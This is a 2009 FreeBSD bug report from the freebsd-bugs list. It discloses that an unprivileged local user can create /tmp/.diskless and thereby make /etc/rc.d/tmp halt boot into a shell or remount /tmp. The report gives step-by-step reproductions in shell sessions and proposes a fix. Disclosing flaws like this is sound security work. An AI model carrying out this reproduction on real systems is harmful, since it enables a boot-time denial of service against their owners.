conf/141258: /etc/rc.d/tmp may act incorrectly based on unprivleged local user actions

Jon Passki jon at passki.us
Mon Dec 7 22:50:06 UTC 2009


>Number:         141258
>Category:       conf
>Synopsis:       /etc/rc.d/tmp may act incorrectly based on unprivleged local user actions
>Confidential:   no
>Severity:       non-critical
>Priority:       low
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Mon Dec 07 22:50:06 UTC 2009
>Closed-Date:
>Last-Modified:
>Originator:     Jon Passki
>Release:        RELENG_8
>Organization:
Quixotic Security
>Environment:
test-8# uname -a
FreeBSD test-8 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009     root at almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

>Description:
/etc/rc.d/tmp may remount /tmp or halt the boot process based on unprivleged local user actions.  The default behavior of tmpmfs is defined in /etc/defaults/rc.conf and set to AUTO. This causes the '*' case to be hit in the /etc/rc.d/tmp script. If a local user creates a file (not a directory) in /tmp called .diskless and the system is rebooted or the script is called directly, the system will either drop into /bin/sh prior to reaching DAEMON or the system will remount /tmp with a potentially smaller size than expected. Both of these conditions are probably not ideal and the prior condition could lead to a boot-up DoS, depending upon local system configurations. The latter condition is harder to fix once the system is in multi-user mode, and especially if users connect via SSH. This is because the /tmp directory will contain open files and/or sockets. So, a fix in this case would also require dropping the system into single-user mode.

Refer to http://blog.cykyc.org/2009/12/issue-with-freebsd-etcrcdtmp-script.html for a full write-up.
>How-To-Repeat:
Sample attack on a symlink'd /tmp:

> ls -la /tmp
lrwxr-xr-x  1 root  wheel  7 Dec  7 15:55 /tmp -> var/tmp
> cd /tmp
> ll
total 12
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .ICE-unix
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .X11-unix
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .XIM-unix
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .font-unix
-rw-r--r--  1 root  wheel    0 Dec  7 15:55 foo
drwxrwxrwt  2 root  wheel  512 Dec  7 15:44 vi.recover
> ln foo .diskless
> ll
total 12
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .ICE-unix
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .X11-unix
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .XIM-unix
-rw-r--r--  2 root  wheel    0 Dec  7 15:55 .diskless
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .font-unix
-rw-r--r--  2 root  wheel    0 Dec  7 15:55 foo
drwxrwxrwt  2 root  wheel  512 Dec  7 15:44 vi.recover
> su -
Password:
test-8# /etc/rc.d/tmp start
*** /tmp is a symlink to a non-writable area!
dropping into shell, ^D to continue anyway.
#


Sample attack on a mounted /tmp:
> mount
/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local, multilabel)
/dev/ad0s1f on /usr (ufs, local, soft-updates)
/dev/ad0s1d on /var (ufs, local, soft-updates)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
> df /tmp
Filesystem  1K-blocks Used  Avail Capacity  Mounted on
/dev/ad0s1e    507630   16 467004     0%    /tmp
> ll /tmp
total 14
drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .ICE-unix
drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .X11-unix
drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .XIM-unix
drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .font-unix
drwxrwxr-x  2 root  operator  512 Dec  7 15:10 .snap
-rw-r--r--  1 root  wheel       0 Dec  7 15:25 foo
> ln foo .diskless
> su -
Password:
test-8# /etc/rc.d/tmp start
test-8# mount
/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local, multilabel)
/dev/ad0s1f on /usr (ufs, local, soft-updates)
/dev/ad0s1d on /var (ufs, local, soft-updates)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
/dev/md0 on /tmp (ufs, local)
test-8# df /tmp
Filesystem 1K-blocks Used Avail Capacity  Mounted on
/dev/md0       19566    4 17998     0%    /tmp
test-8# ll /tmp
total 2
drwxrwxr-x  2 root  operator  512 Dec  7 15:59 .snap

>Fix:
No fix at this time.

Recommendation:
My initial idea at a fix is to include a new variable in /etc/rc.d/cleartmp that would be set to YES in /etc/defaults/rc.conf. The variable would be similar to clear_tmp_X (maybe called clear_tmp_safe?), calling a routine to wipe and remake the directory /tmp/.diskless. Once this script was ran by root, a subsequent call to /etc/rc.d/tmp upon reboot or directory would act right for most cases.

Diskless clients should be OK, though, as long as /tmp/.diskless is not included in /etc/mtree/BSD.root.dist. When /etc/rc.d/cleartmp would run the first time, it would already be on a memory /tmp file system (assuming /conf doesn't contain anything to point to a residual mount point that could have been tampered). Clients also using memory-backed /tmp should be OK, since the variable will force a creation of a memory-backed /tmp mount point. But, some other eyes should look at this prior to changing the behavior.

>Release-Note:
>Audit-Trail:
>Unformatted:


More information about the freebsd-bugs mailing list